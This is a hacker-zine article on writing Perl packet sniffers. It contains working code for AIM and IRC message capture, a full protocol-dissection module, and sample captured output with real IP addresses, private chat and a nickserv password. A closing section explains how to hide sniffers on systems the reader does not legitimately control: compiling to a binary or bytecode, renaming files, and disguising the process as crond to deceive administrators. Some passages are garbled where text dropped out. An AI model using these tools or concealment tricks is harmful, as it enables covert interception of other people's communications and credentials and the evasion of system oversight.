|=------------=[ Reliable Packet Dissection and Sniffing ]=-------------=| |=----------------------------------------------------------------------=| |=------------------=[ zshzn ]=------------------=| |=----------------------------------------------------------------------=| --[ Contents 1.0 Introduction 2.0 Packets 2.1 Getting Packets 2.2 Packet Structure 3.0 Hacking Packets 3.1 A Quick Hack 3.1.1 Sniffing Example 3.1.2 Code Example 3.1.3 Evolution 3.2 Building a Framework 3.2.1 Abstract 3.2.2 Implementation 3.2.3 Limitations 4.0 Application 4.1 Sniffer 4.1.1 zvirc.pl 4.1.2 In Action 4.2 Sniffing Framework 5.0 Hiding a Sniffer 5.1 Individuality 5.2 Compiling Source 5.3 Bytecode 5.4 Example 6.0 Conclusion 7.0 Appendix A - Dissect.pm --[ 1.0 - Introduction Perhaps you have decided to take a gander into the world of network traffic. Maybe you have come across either virtual or physical access to a point along a communication line, or you can get data sent your way via address spoofing. You want to SNIFF. You want to look at packets that weren't meant for you. Maybe you want to catch passwords. Or valuable conversation. Or even modify traffic. Either way, you are in for the kill. This short paper will briefly discuss topics surrounding packet sniffing. These include reliable packet dissection, implementing a dissection framework, and using a framework to help design sniffers. My relevant code is in Perl, but is simple enough for the average geek to follow along. If that isn't simple enough for you, learn Perl. Or consult your regional perldoc. --[ 2.0 - Packets ----[ 2.1 - Getting Packets How exactly we get our packets isn't the focus of this article. I do not want to go into detail about how operating systems, specifically Linux, manage packets. Obviously we are passively listening. Traditionally we register a raw socket, enter promiscuous mode, and watch. In the scope of this article we shalln't go into those details, particularly since they are not platform-independent. We use Pcap, it does that work for us. ----[ 2.2 - Packet Structure Your average content-filled packet will look something like this. This is an output from Ethereal, slightly modified. I decided to be a tad bit considerate, and alter the name of the receiver, substituting h's for all characters. Raw Ethernet Dump: 0000 00 50 f2 c3 f7 e6 00 40 05 8a 15 79 08 00 45 00 .P.....@ ...y..E. 0010 00 8f d5 e2 40 00 40 06 48 96 c0 a8 02 27 40 0c ....@.@. H....'@. 0020 19 15 ce 4c 14 46 30 eb 86 55 dc f6 89 7e 50 18 ...L.F0. .U...~P. 0030 7f ff 1c 72 00 00 2a 02 00 66 00 61 00 04 00 06 ...r..*. .f.a.... 0040 00 00 00 00 00 5a 75 d8 be 61 89 f9 5c bb 00 01 .....Zu. .a..\... 0050 0b 68 68 68 68 68 68 68 68 68 68 68 00 02 00 39 .hhhhhhh hhhh...9 0060 05 01 00 04 01 01 01 02 01 01 00 2d 00 00 00 00 ........ ...-.... 0070 74 63 70 20 70 61 63 6b 65 74 20 64 69 73 65 63 tcp pack et disec 0080 74 69 6f 6e 20 69 73 20 61 20 70 61 69 6e 20 69 tion is a pain i 0090 6e 20 74 68 65 20 61 73 73 00 03 00 00 n the as s.... The column on the left is just a byte count, the column on the right is the ASCII representation of each value. As you can see, little of the packet is the heart of the payload. Let's get rid of those two columns, and put these values into decimal. Hex is elite and all, but I know my ASCII better in decimal. So, since this has been done already, why not throw it in? 0 80 242 195 247 230 0 64 5 138 21 121 8 0 69 0 0 0 143 213 226 64 0 64 6 72 150 192 168 2 39 64 12 25 21 206 76 20 70 48 235 134 85 220 246 137 126 80 24 127 255 28 114 0 0 42 2 0 102 0 97 0 4 0 6 0 0 0 0 0 90 117 216 190 97 137 249 92 187 0 1 0 11 104 104 104 104 104 104 104 104 104 104 104 0 2 0 57 5 1 0 4 1 1 1 2 1 1 0 45 0 0 0 0 116 99 112 32 112 97 99 107 101 116 32 100 105 115 101 99 116 105 111 110 32 105 115 32 97 32 112 97 105 110 32 105 110 32 116 104 101 32 97 115 115 0 3 0 0 This is just another representation of the same thing. A packet is just a series of bytes that travel together. However, these bytes usually act as a series of protocols wrapping around each other. Or on each other, if you are a fan of the OSI model. We can say that higher-level protocols are encapsulated by lower-level protocols, all eventually sent over a data link layer. Let's break it down. In decimal. Ethernet: (0 80 242 195 247 230) (0 64 5 138 21 121) (8 0) IP: (69) (0) (0 143) (213 226) (64) (0) (64) (6) (72 150) (192 168 2 39) (64 12 25 21) TCP: (206 76) (20 70) (48 235 134 85) (220 246 137 126) (80) (24) (127 255) (28 114) Data field (AIM content): Misc Protocol: 0 0 42 2 0 102 0 97 0 4 0 6 0 0 0 0 0 90 117 216 190 97 137 249 92 187 0 1 0 Buddy name length: (11) Buddy name: (104 104 104 104 104 104 104 104 104 104 104) Misc Protocol: 0 2 0 57 5 1 0 4 1 1 1 2 1 1 0 45 0 0 0 0 Message: (116 99 112 32 112 97 99 107 101 116 32 100 105 115 101 99 116 105 111 110 32 105 115 32 97 32 112 97 105 110 32 105 110 32 116 104 101 32 97 115 115) English: tcp packet disection is a pain in the ass (0 3 0 0) This is the same packet featured above. I've split up the bytes into categories, for which protocol they belong to. Parens organize connected values. What was just a series of numbers now functionalizes into a recognizable data path. As you can see, the first part of the packet in this case is the Ethernet data. First there is the destination MAC address, then the source MAC address, then the EtherType. The EtherType stresses what protocol is layered on top of Ethernet. In this case, 0x0800, we are dealing with IP version 4. We then get into the IP data. The first nibble (four bits, the first half of what appears to be 0x45 or decimal 69) tells us what version of the internet protocol we are using. Next we have values such as header length, type of service, total length, ident, flags, etcetera. For precise details on processing IP, read RFC 791. Some of these values are important to the process of dissecting the packet itself. While Ethernet was very minimal (destination, source, data type, data), IP is more of a bitch with metadata. Following IP we, in this case, get into TCP. Read RFC 793 for more details. The data field of this particular TCP packet contains the AIM protocol, and the central payload of that is the message. The process is simple. A protocol contains its header, its payload, and sometimes a trailer. The payload of one protocol will encapsulate another protocol, which has a header and payload of its own. In this particular case, we have wrapped Ethernet, IP, TCP, and AIM. All of this was to get the message "tcp packet dissection is a pain in the ass" to a friend, in such a way that that message could be sent and processed reliably at all points. Breaking this down is possible because all of these protocols have been designed with dissection in mind. Ethernet has the EtherType field, IP has the protocol byte (which in this case holds the value 6, for TCP). And TCP, well, at this point we know where the packet is going, and we just send the payload that direction. There are far too many application level protocols for TCP to define them. What may have appeared as a mess as first seems perfectly comprehensible when you have some RFCs at hand. --[ 3.0 - Hacking Packets ----[ 3.1 - A Quick Hack At some point I decided to start writing sniffers. Using Perl and Pcap (via the Net::Pcap module) I was able to capture raw packets and work with them. I wrote an AIM sniffer in which I basically "best-guessed" where AIM data started. That is to say, I did some analysis to find where it should be. It worked. ------[ 3.1.1 - Sniffing Example zshzn@athens:~$ sudo perl zvaim.pl >>> Friend -> I apologize once again >>> Friend -> for shameless using you as a test subject for my AIM sniffer <<< Friend <- what? ------[ 3.1.2 - Code Example sub dissect_aim { # In my code I separate packets into single-byte items of an array. my @data = @_; my $mode = -1; my ($message, $friend, $ip); for (0 .. scalar @data) { if ( $data[$_] == 42 ) { if ( $data[$_ + 7] == 4 and $data[$_ + 9] == 6 ) { my $start = $_ + 27; $mode = 0; $friend = join '', map ( chr, @data[ $start .. $start + $data[$start - 1] ] ); $message = join '', map ( chr, @data[ $start + $data[$start - 1] + 18 .. $#data - 4 ] ); $message =~ s/<.+?>//g; # shut up last; } elsif ( $data[$_ + 7] == 4 and $data[$_ + 9] == 7 ) { $mode = 1; my $start = $_ + 27; $friend = join '', map ( chr, @data [ $start .. $start + $data[$start - 1] ] ); $start = $start + $data[$start - 1] + 5; while ( $data[$start] != 2 ) { $start += 2; $start += $data[$start] + 2; } $start += 2; $message = join '', map ( chr, @data[ $start + 16 .. $start + $data[$start] ] ); $message =~ s/<.+?>//g; # shut up last; } elsif ( $data[$_ + 7] == 23 and $data[$_ + 9] == 2 ) { $mode = 2; my $start = $_ + 20; $message = join '-', map ( $_, @data[ $start + $data[$start - 1] + 4 .. $start + $data[$start - 1] + 19 ] ); $message = join '', map { sprintf("%x", $_) } split '-', $message; last; } else { $mode = -1; $message = 'Error'; $friend = 'None'; } } } return ($mode, $message, $ip, lc $friend); } ------[ 3.1.3 - Evolution In this case, the entire packet is sent as a list of bytes, and particular points of information are returned. It worked on three operating systems that it was tried on, with some slight bugs. However, the process is unreliable. Not only is it unreliable, but it is not very manageable. Looking back on it, I do not know the relevance of all those numbers and placeholders. Of all people, I am tired of finding code that stopped working a few years ago because it failed to abstract itself enough to work in anything other than optimal situations. After zvaim.pl I decided to write a packet framework. I had a hard time explaining just what I meant by a packet dissection framework. What I wanted was an expandable system by which I could break down a packet or dissect information from it. What I wanted to be able to do was this: sub dissect_irc { my @data = @_; my %hash = data_ip(@data); my $host = $hash{'SRC'}; my $chr = join '', map ( chr hex, strip_tcp(@data) ); my ($dest, $message) = $chr =~ /PRIVMSG (\S+) :(.*)$/; my ($nick) = $chr =~ /^:([^!]+)\S+ PRIVMSG/; $nick ||= 'local'; $host = $hash{'DEST'} if $nick eq 'local'; $dest = 0 if $chr !~ /PRIVMSG/; return ($host, $nick, $dest, $message); } This comes from my IRC sniffer. We handle the same basic input and output. In this case, I use data_ip() from my framework to get IP data from the raw packet. I then use strip_tcp() to remove all protocols down to and including the TCP level, leaving me with just IRC, which I then parse. Not only is this easier in zvirc.pl than in zvaim.pl, but it is reliable, because my framework handles a lot of situations that my "best-guess" code in zvaim.pl might break on. No matter what protocols encapsulate IP and TCP, they will be stripped. Or, they should. ----[ 3.2 - Building a Framework ------[ 3.2.1 - Abstract The point of a framework is reliability. I wanted a comprehensive module or a series of modules that can properly interpret any packets that I could throw at it. A framework that I could reuse, again and again. A framework that would be easier than manually and unreliably pruning data for independent sniffers. A framework that I could use as a part of a comprehensive sniffing framework. In my framework I supply methods to either strip protocols or to get protocol data. For example, as seen above, data_ip() will return an easy to use hash. strip_ip() will remove IP data, and anything encapsulating it. strip_ip() will first call strip_ethernet(), or whatever protocol encapsulates it. None of the subroutines try to do everything, they all rely on lower-level routines to handle what they can for them. This limits the quantity of original code. We know what to use because of analyze(). analyze() returns a list of protocols used, from lowest to highest level. Dissect.pm also provides get_text(), which will use analyze() to strip all non-application layer protocols for you. Using these methods we can fairly accurately get information about any supported protocol used in a packet. ------[ 3.2.2 - Implementation Please see Appendix A for the full source of Dissect.pm. For an example of implementation details, this is my relevant TCP code. sub data_tcp { my @data = strip_ip(@_); my %info; $info{'SPORT'} = hex $data[0].$data[1]; $info{'DPORT'} = hex $data[2].$data[3]; $info{'SEQ'} = hex join '', @data[4 .. 7]; $info{'ACK'} = hex join '', @data[8 .. 11]; $info{'OFFSET'} = hex $data[12]; $data[13] = hex $data[13]; $info{'FIN'} = 1 if $data[13] & 1; $info{'SYN'} = 1 if $data[13] & 2; $info{'RST'} = 1 if $data[13] & 4; $info{'PSH'} = 1 if $data[13] & 8; $info{'ACK'} = 1 if $data[13] & 16; $info{'URG'} = 1 if $data[13] & 32; $info{'WINDOW'} = hex $data[14].$data[15]; $info{'CHECKSUM'} = hex $data[16].$data[17]; if ( $info{'OFFSET'} == hex 50 ) { @{$info{'DATA'}} = @data[20 .. $#data]; } elsif ( $info{'OFFSET'} == hex 80 ) { $info{'OPTIONS'} = join '', @data[20 .. 31]; @{$info{'DATA'}} = join '', @data[32 .. $#data]; } return %info; } sub strip_tcp { my @data = strip_ip(@_); no warnings; if ( $data[12] == 50 ) { return @data[20 .. $#data]; } elsif ( $data[12] == 80 ) { return @data[32 .. $#data]; } else { return @data; } use warnings; } data_tcp() is very simple, a direct interpretation of the RFC. Many TCP fields cover multiple bytes, the flags however are single bit. strip_tcp() first removes lower protocols, then, depending on the version, returns the list minus the TCP header. As you may be beginning to notice, I have unwisely taken a few shortcuts. ------[ 3.2.3 - Limitations Dissect.pm could be more comprehensive. Although it covers a series of protocols, it could cover more. The system could be more detailed and comprehensive. The code itself could have been tighter. I am not consistent, going back and forth between hex and decimal for minimal reasons. My documentation could have been more extensive. I would say that NetPacket and Net::Packet are both, overall, better than my framework. Mine is not without benefits. It was easy for me to modify and expand. It is more modern than NetPacket and the code is more humane than Net::Packet. I could also transport it easily, which is important. If I am going to be using a sniffing framework, I do not want to have to move a dozen modules around, let alone modules that require an installation. In reality, we can't always set up camp how we would like to before starting to sniff, and hacking cannot always be clean. However, I have not submitted my Net::Packet::Dissect (or whatever I should name it) to the CPAN. Additionally, I do not provide a method for packet generation or sending, but I believe those are different tasks for a different module. --[ 4.0 - Application ----[ 4.1 - Sniffer I have shown bits and pieces of code throughout. I would now like to reward the reader with a complete example of how Perl, Net::Pcap, and Dissect.pm came together to form an easy-to-use and easy-to-write sniffer. This is zvirc.pl, one of my sniffing programs. ------[ 4.1.1 - zvirc.pl use strict; use warnings; use Cwd; use Getopt::Long; use Net::Pcap; use Net::Packet::Dissect; my @set = qw ( 1 /home/ irc.txt 1 ); $set[1] = getcwd; my ($help, $host, $err, %devinfo) = (0, 0, ''); GetOptions ( "level=s" => \$set[0], "directory=s" => \$set[1], "file=s" => \$set[2], "verbose=i" => \$set[3], "select=s" => \$host, "choose" => \$host, "help" => \$help, ); help() if $help; die "Must run as root!" if $< != 0; if ( $host == 1 ) { my @devs = Net::Pcap::findalldevs( \$err, \%devinfo ); for my $dev (@devs) { print "$dev : $devinfo{$dev}\n"; } print "Select a device: "; chomp($host = ); } elsif ( $host == 0 ) { $host = Net::Pcap::lookupdev(\$err); } my $pcap = Net::Pcap::open_live($host, 1024, 1, 0, \$err); Net::Pcap::loop($pcap, -1, \&packet, \@set); Net::Pcap::close($pcap); sub packet { my($user_data, $header, $packet) = @_; my @set = @$user_data; my $home = getcwd; my $FH; my @data = map { sprintf("%x", $_) } unpack("C*", $packet); my ($host, $nick, $dest, $message) = dissect_irc(@data); return unless $dest; if ( $set[0] == 1 ) { open $FH, '>>', $set[1].'/'.$set[2] or die "Error opening file: $!"; } if ( $set[0] == 2 ) { unless ( -d $set[1] ) { mkdir $set[1] or die "Couldn't make directory: $!"; } unless ( -d lc "$set[1]/$host" ) { mkdir lc "$set[1]/$host" or die "Couldn't make directory: $!"; } chdir "$set[1]/$host/" or die "chdir error: $!"; open $FH, '>>', $dest or die "Error opening file: $!"; } print "$host : $nick -> $dest : $message\n" if $set[3]; print $FH "$host : $nick -> $dest : $message\n" if $set[0]; chdir $home; close $FH if $FH; } sub dissect_irc { my @data = @_; my %hash = data_ip(@data); my $host = $hash{'SRC'}; my $chr = join '', map ( chr hex, strip_tcp(@data) ); my ($dest, $message) = $chr =~ /PRIVMSG (\S+) :(.*)$/; my ($nick) = $chr =~ /^:([^!]+)\S+ PRIVMSG/; $nick ||= 'local'; if ($nick eq 'local') { $host = $hash{'DEST'}; } $dest = 0 if $chr !~ /PRIVMSG/; return ($host, $nick, $dest, $message); } sub help { print < #perl : What was the way to expand all the macros in a .xs file again? 213.209.249.66 : avar -> #perl : ACTION recalls some make target or something 213.209.249.66 : jagerman -> #perl : Why would you do $var *= 0? What would that accomplish over just $var = 0? 213.209.249.66 : local -> nickserv : password ohnomadhax ----[ 4.2 - Sniffing Framework With current code we can easily expand the scope of our operation. As you can see, the actual sniffing code for one protocol is organized in subs such as dissect_aim and dissect_irc. If we could design templates for logging and visual output, we could easily make a generalized sniffer with which the user could select which protocols to sniff. Logging could be generalized by instances, and a dissect_protocol() subroutine could return an output template as its first parameter, or just an output string as its only parameter. The dissect_protocol() subroutines could be stored in a second module, with a dissect_packet() that would, based on selected protocols to examine, select the acceptable subs and return either a list of list references, or a list of output strings. Why haven't I implemented this, as it is so easy to do? I don't need it at all. I am generally not very fond of abstraction in my code, despite the fact that this very Dissect.pm is a not-entirely-necessary abstraction. I prefer to just bring sniffers as I need them. --[ 5.0 - Hiding a Sniffer ----[ 5.1 - Individuality There are several methods we can use to limit the visibility of our sniffer. First off, you must be aware that you will have at least one sniffer, and probably one module. Perl looks for modules in the list of directories stored in @INC. You can put your module anywhere on the system, as long as, within your sniffer, you add (preferably before everything else, or just on its own), that directory to @INC. You may name the module whatever you want to, within Perl character conventions, as long as you change the use line in your sniffer. I suggest you drop the .pl extension from your sniffer. You can strip the POD from the module at will. You can strip the module-specific stuff from Dissect.pm and just do("/path/weirdnewname"); in your code (instead of use) to access the modules. Or you can put the relevant subroutines directly in your sniffer script(s). This allows complete freedom of naming, and organization. Note that Dissect.pm isn't malicious in and of itself. It looks fairly legit on its own in a collection of modules. If you are on the system of a regular Perl user, he could have many modules, and seeing Net::Packet::Dissect he might (just *might*) think it had been installed by CPAN as a prerequisite of something else. Depending on circumstances Dissect.pm might not need to be hidden. Net::Pcap probably does not need to be hidden either. If you want to, go ahead. What certainly does need to be hidden are your sniffers. You will be running them as root, so this is one of two situations. The first is that you have legitimate access. In this case, under proper management, noone needs to have read rights on your scripts. The second is that you do not have legit access, and some poor administrator also has root access, in which case some diversions could be helpful. Diversions are good for everybody. What he doesn't know can't hurt him. Until he knows, that is. ----[ 5.2 - Compiling Source When it comes to hiding sniffers, we do not just want to obfuscate the source. That is pretty useless. Because anybody who knows any Perl knows how to use B::Deparse. Not to say that we cannot fool B::Deparse to a degree as well, but any experienced obfuscation artist will know how to work through that. What we would like to do is make things a bit more challenging or confusing. One interesting method is to create an independent binary. This is possible with perlcc, a frontend for B::CC. perlcc -o owned owned.pl Presto! Just that easy. Run and gun. The overhead should be about 1MB. If that isn't an issue, no reason not to. B modules might have a few bugs, so feel free to test them first. ----[ 5.3 - Bytecode Another method is to use B::Bytecode. We use this to create Perl bytecode that can be restructered with the ByteLoader module. perl -MO=Bytecode,-H,-oDissect.pm Dissect.pm Generates Perl bytecode, and with the -H flag it is fully useable as is. If you want to hide it better, scratch the -H, and use ByteLoader in your sniffer or terminal invocation to clarify things. If you use -H perhaps you should obfuscate the use line. You can separately hide either file. Remove the shebang line. Without the shebang line it will specifically need to be invoked through perl, however we can still hide the fact that this is a Perl program. Also, remove any POD and other plaintext that could give it away. Following those easy steps, even someone looking out for Perl bytecode might not figure it out. On most operating systems we can hide our process name by modifying $0 (the program name) in our script. $0 = '/usr/sbin/crond -110'; # hehe These tricks allow us to move our evil files where we want to, under what names we want, used in what combinations we want, hide the source how we want to, and hide the process name. ----[ 5.4 - Example bash-3.00$ cat data $0 = '/usr/sbin/crond -110'; print "woo!\n"; bash-3.00$ perl -MO=Bytecode,-otest data test.pl syntax OK bash-3.00$ vim test bash-3.00$ just removing the first line just removing the first line bash-3.00$ perl -MByteLoader test woo! bash-3.00$ echo sorry for the mess sorry for the mess bash-3.00$ file test test: data bash-3.00$ strings test PLBCi486-linux 0.05 woo! 8WPmain main Nmain::_ 'TCP', hex '0806' => 'ARP', hex '814c' => 'SNMP', hex '880b' => 'PPP', ); my $prot = hex $data[12] . $data[13]; if ( defined($proto{$prot}) ) { $info{'PROTO'} = $proto{$prot}; } else { $info{'PROTO'} = 'UNKNOWN SEND PATCH'; } $info{'DEST'} = join ':', @data[0 .. 5]; $info{'SRC'} = join ':', @data[6 .. 11]; return %info; } sub strip_ip { my @data = @_; my @order = analyze(@data); if ( $order[0] eq 'Ethernet' ) { @data = strip_ethernet(@_); } elsif ( $order[0] eq 'WLAN' ) { @data = strip_wlan(@_); if ( $order[1] eq 'LLC' ) { @data = strip_llc(@_); } } no warnings; return @data[20 .. $#data] if $data[0] == 45; return @data[32 .. $#data] if $data[0] == 69; my $ip_begin; for (0 .. $#data) { if ( $data[$_] == 69 or $data[$_] == 45) { return @data[$ip_begin .. $#data]; } } use warnings; return @data; } sub data_ip { my @data = @_; my @order = analyze(@data); if ( $order[0] eq 'Ethernet' ) { @data = strip_ethernet(@_); } elsif ( $order[0] eq 'WLAN' ) { @data = strip_wlan(@_); if ( $order[1] eq 'LLC' ) { @data = strip_llc(@_); } } my $ip_begin = 0; my %info; for (0 .. $#data) { if ( hex $data[$_] == 69 or hex $data[$_] == 96 ) { $ip_begin = $_; last; } } my %proto = ( 0 => 'Reserved', 1 => 'ICMP', 3 => 'Gateway-to-Gateway', 4 => 'CMCC Gateway Monitoring Message', 5 => 'ST', 6 => 'TCP', 7 => 'UCL', 9 => 'Secure', 10 => 'BBN RCC Monitoring', 11 => 'NVP', 12 => 'PUP', 13 => 'Pluribus', 14 => 'Telenet', 15 => 'XNET', 16 => 'Chaos', 17 => 'UDP', 18 => 'Multiplexing', 19 => 'DCN', 20 => 'TAC Monitoring', 63 => 'any local network', 64 => 'SATNET and Backroom EXPAK', 65 => 'MIT Subnet Support', 69 => 'SATNET Monitoring', 71 => 'Internet Packet Core Utility', 76 => 'Backroom SATNET Monitoring', 77 => 'Unassigned', 78 => 'WIDEBAND Monitoring', 79 => 'WIDEBAND EXPAK', 255 => 'Reserved', ); $proto{$_} = 'Unassigned' for 2, 8, 21 .. 62, 66 .. 68, 70, 72 .. 75, 80 .. 254; $info{'VERSION'} = (hex $data[0]) >> 4; @data = @data[$ip_begin .. $#data]; if ( $info{'VERSION'} == 4 ) { @data = map hex, @data; $info{'SERVICE'} = $data[1]; $info{'LENGTH'} = hex sprintf("%x", $data[2] . $data[3]); $info{'IDENT'} = hex sprintf("%x", $data[4] . $data[5]); $info{'FLAG'} = $data[6]; $info{'FRAGMENT'} = $data[7]; $info{'TTL'} = $data[8]; $info{'PROTO'} = $proto{$data[9]}; $info{'CHECKSUM'} = hex sprintf("%s", $data[10] . $data[11]); $info{'SRC'} = join '.', @data[12 .. 15]; $info{'DEST'} = join '.', @data[16 .. 19]; $info{'VERSION'} = 'IPv4'; } elsif ( $info{'VERSION'} == 6 ) { $info{'CLASS'} = hex ($data[1] >> 4) & ($data[0] << 4); $info{'FLOW'} = hex join '', $data[1] << 4 >> 4, $data[2], $data[3]; $info{'LENGTH'} = hex $data[4].$data[5]; $info{'PROTO'} = hex $data[6]; $info{'LIMIT'} = hex $data[7]; $info{'SRC'} .= ($_ % 2 ? '' : ':') . $data[$_] for 8 .. 23; $info{'SRC'} =~ s/^:|00//g; $info{'SRC'} =~ s/:{3,}/::/; $info{'DEST'} .= ($_ % 2 ? '' : ':') . $data[$_] for 24 .. 39; $info{'DEST'} =~ s/^:|00//g; $info{'DEST'} =~ s/:{3,}/::/; $info{'VERSION'} = 'IPv6'; } return %info; } sub data_tcp { my @data = strip_ip(@_); my %info; $info{'SPORT'} = hex $data[0].$data[1]; $info{'DPORT'} = hex $data[2].$data[3]; $info{'SEQ'} = hex join '', @data[4 .. 7]; $info{'ACK'} = hex join '', @data[8 .. 11]; $info{'OFFSET'} = hex $data[12]; $data[13] = hex $data[13]; $info{'FIN'} = 1 if $data[13] & 1; $info{'SYN'} = 1 if $data[13] & 2; $info{'RST'} = 1 if $data[13] & 4; $info{'PSH'} = 1 if $data[13] & 8; $info{'ACK'} = 1 if $data[13] & 16; $info{'URG'} = 1 if $data[13] & 32; $info{'WINDOW'} = hex $data[14].$data[15]; $info{'CHECKSUM'} = hex $data[16].$data[17]; if ( $info{'OFFSET'} == hex 50 ) { @{$info{'DATA'}} = @data[20 .. $#data]; } elsif ( $info{'OFFSET'} == hex 80 ) { $info{'OPTIONS'} = join '', @data[20 .. 31]; @{$info{'DATA'}} = join '', @data[32 .. $#data]; } return %info; } sub strip_tcp { my @data = strip_ip(@_); no warnings; if ( $data[12] == 50 ) { return @data[20 .. $#data]; } elsif ( $data[12] == 80 ) { return @data[32 .. $#data]; } else { return @data; } use warnings; } sub data_udp { my @data = strip_ip(@_); my %info; $info{'SPORT'} = hex $data[0].$data[1]; $info{'DPORT'} = hex $data[2].$data[3]; $info{'LENGTH'} = hex $data[4].$data[5]; $info{'CHECKSUM'} = hex $data[6].$data[7]; @{$info{'DATA'}} = @data[ 8 .. $info{'LENGTH'} ]; return %info; } sub strip_udp { my @data = strip_ip(@_); return @data[8 .. $#data]; } sub data_icmp { my @data = strip_ip(@_); my %info; my @types; %{$types[0]} = ( 0 => 'Echo Reply' ); %{$types[3]} = ( 0 => 'Net Unreachable', 1 => 'Host Unreachable', 2 => 'Protocol Unreachable', 3 => 'Port Unreachable', 4 => 'Fragmentation needed and DF set', 5 => 'Source Route Failed', ); %{$types[4]} = ( 0 => 'Source Quench Message' ); %{$types[5]} = ( 0 => 'Redirect typesgrams for the Network', 1 => 'Redirect typesgrams for the Host', 2 => 'Redirect typesgrams for the Type of Service and Network', 3 => 'Redirect typesgrams for the Type of Service and Host', ); %{$types[8]} = ( 0 => 'Echo Request' ); %{$types[11]} = ( 0 => 'Time to live exceeded in transit', 1 => 'Fragment reassembly time exceeded', ); %{$types[12]} = ( 0 => 'Protocol Error' ); %{$types[13]} = ( 0 => 'Timestamp Request' ); %{$types[14]} = ( 0 => 'Timestamp Reply' ); %{$types[15]} = ( 0 => 'Information Request' ); %{$types[16]} = ( 0 => 'Information Reply' ); $info{'TYPE'} = $types[hex $data[0]]{hex $data[1]}; $info{'CODE'} = hex $data[1]; $info{'CHECKSUM'} = hex $data[2].$data[3]; $info{'IDENTIFIER'} = hex $data[4].$data[5]; $info{'SEQ'} = hex $data[6].$data[7]; @{$info{'DATA'}} = @data[8 .. $#data]; return %info; } sub strip_icmp { my @data = strip_ip(@_); return @data[8 .. $#data]; } sub data_arp { my @data = strip_ethernet(@_); my %info; my %hardware = ( 1 => 'Ethernet', 2 => 'Experimental Ethernet', 3 => 'Amateur Radio AX.25', 4 => 'Proteon ProNET Token Ring', 5 => 'Chaos', 6 => 'IEEE 802 Networks', 7 => 'ARCNET', ); $info{'HARDWARE'} = $hardware{hex $data[0].$data[1]}; $info{'PROTO'} = hex $data[2].$data[3]; $info{'HSIZE'} = hex $data[4]; $info{'PSIZE'} = hex $data[5]; $info{'REQUEST'} = hex $data[6].$data[7]; $info{'SMAC'} = join ':', @data[8 .. 13]; $info{'SIP'} = join '.', map hex, @data[14 .. 17]; $info{'DMAC'} = join ':', @data[18 .. 23]; $info{'DIP'} = join '.', map hex, @data[24 .. 27]; return %info; } # woooooo sub data_wlan { my @data = @_; my %info; $info{'TYPE'} = hex $data[0]; $info{'FLAG'} = hex $data[1]; # come back! $info{'DURA'} = hex $data[2].$data[3]; $info{'DEST'} = join ':', @data[4 .. 9]; $info{'SRC'} = join ':', @data[10 .. 15]; $info{'BSS'} = join ':', @data[16 .. 21]; $info{'SEQ'} = hex $data[22].$data[23]; return %info; } sub strip_wlan { if ( $_[0] == 8 or $_[0] == 80 ) { return @_[24 .. $#_]; } else { return @_; } } sub data_llc { my @data = strip_wlan(@_); my %info; $info{'DSAP'} = hex $data[0]; $info{'SSAP'} = hex $data[1]; $info{'CONT'} = hex $data[2]; $info{'CODE'} = hex $data[3].$data[4].$data[5]; $info{'PROTO'} = hex $data[6].$data[7]; return %info; } sub strip_llc { my @data = strip_wlan(@_); if ( hex $data[0] == 170 ) { return @data[8 .. $#data]; } else { return @data[3 .. $#data]; } } sub data_ppp { my @data = strip_ethernet(@_); my %info; my %mode = ( 1 => 'Configure-Request', 2 => 'Configure-Ack', 3 => 'Configure-Nak', 4 => 'Configure-Reject', 5 => 'Terminate-Request', 6 => 'Terminate-Ack', 7 => 'Code-Reject', 8 => 'Protocol-Reject', 9 => 'Echo-Request', 10 => 'Echo-Reply', 11 => 'Discard-Request', ); $info{'TYPE'} = $mode{hex $data[0]}; $info{'IDENT'} = hex $data[1]; $info{'LENGTH'} = hex $data[2].$data[3]; $info{'MAGIC'} = hex join '', @data[4 .. 7] if 8 >= $info{'LENGTH'}; return %info; } sub strip_ppp { my @data = strip_ethernet(@_); return ( hex $data[2].$data[3] .. $#data ); } =pod =head1 NAME Net::Packet::Dissect =head1 VERSION 0.1 =head1 SYNOPSIS use Net::Packet::Dissect; my @text = get_text(@packet); =head1 DESCRIPTION This module is to be used to benefit programs manipulating raw packets by providing a reliable framework for taking them apart. =head1 SCOPE This module is not complete and, although public, is intended for personal use. It does not utlize any networking for gathering or sending packets. It was designed to be easy to use with Net::Pcap. =head1 FORMAT All subroutines take one argument, and that is a list of hex-encoded bytes. =head1 DISSECTION Dissect.pm provides the following subroutines for stripping lower layer protocols: strip_ethernet strip_wlan strip_ppp strip_llc strip_ip strip_icmp strip_tcp strip_udp Some of these will strip lower layers if they exist, using analyze to find out what they are wrapped by. These return a list, either the same size or smaller. =head1 INFO Dissect.pm provides the following subroutines for gathering info about a protocol: data_ethernet data_wlan data_ppp data_llc data_arp data_ip data_tcp data_udp data_icmp These return a hash. Example: my %data = data_wlan(@data); print Dumper \%data; $VAR1 = { 'FLAG' => 80, 'SRC' => '15:79:08:00:45:00', 'DURA' => 62147, 'BSS' => '00:8f:d5:e2:40:00', 'SEQ' => 16390, 'DEST' => 'f7:e6:00:40:05:8a', 'TYPE' => 0 }; The keys will be obvious, if not, read the source. Dissect.pm also hosts get_text and analyze. get_text returns a shortened list of hex digits by removing the lower protocol levels. analyze returns a list of protocols used in the packets, from lowest OSI level to highest (although the list indexes might not concur with the appropriate OSI level). Example: my @order = analyze(@data); print Dumper \@order; $VAR1 = [ 'Ethernet', 'IP', 'TCP' ]; =head1 PROTOCOLS Dissect.pm supports the following protocols: Ethernet Wlan PPP LLC ARP IP ICMP TCP UDP =head1 AUTHOR zshzn =head1 SEE ALSO Net::Pcap Net::Packet NetPacket =head1 COPYRIGHT Copyright 2006 zshzn. This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =cut